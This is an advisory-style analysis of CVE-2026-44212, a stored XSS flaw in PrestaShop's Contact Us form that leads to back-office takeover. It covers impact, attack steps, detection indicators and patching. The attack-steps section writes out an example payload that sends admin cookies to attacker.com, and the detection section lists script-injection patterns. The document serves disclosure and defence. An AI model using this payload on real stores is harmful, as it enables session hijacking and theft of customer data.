CVE-2026-44212: 
PHP vulnerability analysis and mitigation

CVE-2026-44212 is a stored Cross-Site Scripting (XSS) vulnerability in the PrestaShop back-office Customer Service view, classified as Critical severity. An unauthenticated attacker can submit the public Contact Us form with a malicious email address; the payload is persisted in the database and executes when a back-office employee opens the affected customer thread. Affected versions are PrestaShop < 8.2.6 and >= 9.0.0-alpha.1, < 9.1.1. The vulnerability was published by matthieu-rolland on May 4, 2026, and added to the GitHub Advisory Database on May 8, 2026. It carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory, PrestaShop Advisory).

The root cause is improper neutralization of user-controllable input before it is rendered in a web page (CWE-79). The attack vector is network-based with low complexity and requires no authentication — an attacker submits the publicly accessible Contact Us form with a crafted malicious payload embedded in the email address field. The payload is stored in the PrestaShop database and is later executed in the browser context of a back-office employee when they navigate to the affected customer service thread, triggering the stored XSS. The changed scope metric reflects that the vulnerability in the front-end input crosses into the privileged back-office context (GitHub Advisory, PrestaShop Advisory).

Successful exploitation enables session hijacking of back-office employee accounts and full back-office takeover, giving attackers administrative control over the PrestaShop e-commerce platform. This can result in theft of sensitive customer data (orders, payment information, personal details), unauthorized modification of store configuration, and potential installation of malicious code or backdoors. The confidentiality and integrity impacts are both rated High, while availability is not directly affected (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been confirmed at the time of disclosure. The EPSS score is approximately 0.022% (6th percentile), indicating a currently low probability of exploitation within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the zero-authentication requirement and the straightforward attack vector (public contact form) make this relatively easy to weaponize against any unpatched PrestaShop instance (GitHub Advisory).

1. Reconnaissance: Identify internet-facing PrestaShop stores running versions prior to 8.2.6 (v8 branch) or 9.1.1 (v9 branch) using tools like Shodan, Censys, or by inspecting HTTP response headers and page metadata.
2. Craft malicious payload: Prepare a stored XSS payload embedded within an email address field, e.g., attacker+<script>document.location='https://attacker.com/steal?c='+document.cookie</script>@example.com, designed to execute JavaScript when rendered in the back-office.
3. Submit Contact Us form: Without any authentication, submit the public Contact Us form on the target PrestaShop storefront using the crafted malicious email address as the sender.
4. Payload stored in database: The malicious email address is stored in the PrestaShop database as part of the customer service thread record, with no sanitization applied.
5. Trigger execution: Wait for a back-office employee (e.g., customer service agent or administrator) to open the affected customer thread in the PrestaShop admin panel.
6. Session hijacking / back-office takeover: The injected script executes in the employee's browser session, exfiltrating session cookies or authentication tokens to the attacker's server, enabling full back-office access (GitHub Advisory, PrestaShop Advisory).

• Network: Outbound HTTP requests from back-office employee browsers to unexpected external domains shortly after opening customer service threads; unusual cookie or session token exfiltration traffic.
• Logs: PrestaShop access logs showing Contact Us form submissions (POST /contact-us or equivalent) with anomalous or encoded content in the email field; back-office access logs showing admin actions performed from unfamiliar IP addresses following thread views.
• Database: Customer service thread records containing HTML/JavaScript tags or encoded script content within the email address field (e.g., <script>, javascript:, onerror=, onload=).
• Application Behavior: Unexpected redirects or pop-ups occurring in the back-office when customer service threads are opened; new admin accounts created or store configuration changes made without corresponding authorized activity.

PrestaShop has released patched versions 8.2.6 (for the v8 branch) and 9.1.1 (for the v9 branch), which address this vulnerability. No configuration-based workarounds are available — upgrading to a patched version is the only remediation. Store operators should prioritize upgrading immediately, and in the interim, restrict back-office access to trusted IP addresses and advise employees to avoid opening customer service threads from untrusted submissions until patched (GitHub Advisory, PrestaShop Advisory).

The vulnerability was discovered and reported by Savio at Doyensec in collaboration with Anthropic Research, reflecting an emerging trend of AI-assisted security research contributing to CVE discovery (GitHub Advisory). Community discussion appeared on Reddit's r/pwnhub, where the flaw was highlighted as a critical stored XSS enabling back-office takeover. Coverage was also picked up by The Hacker Wire and security aggregators including VulDB and InfinitSec, noting the zero-authentication requirement as a particularly concerning aspect for e-commerce operators.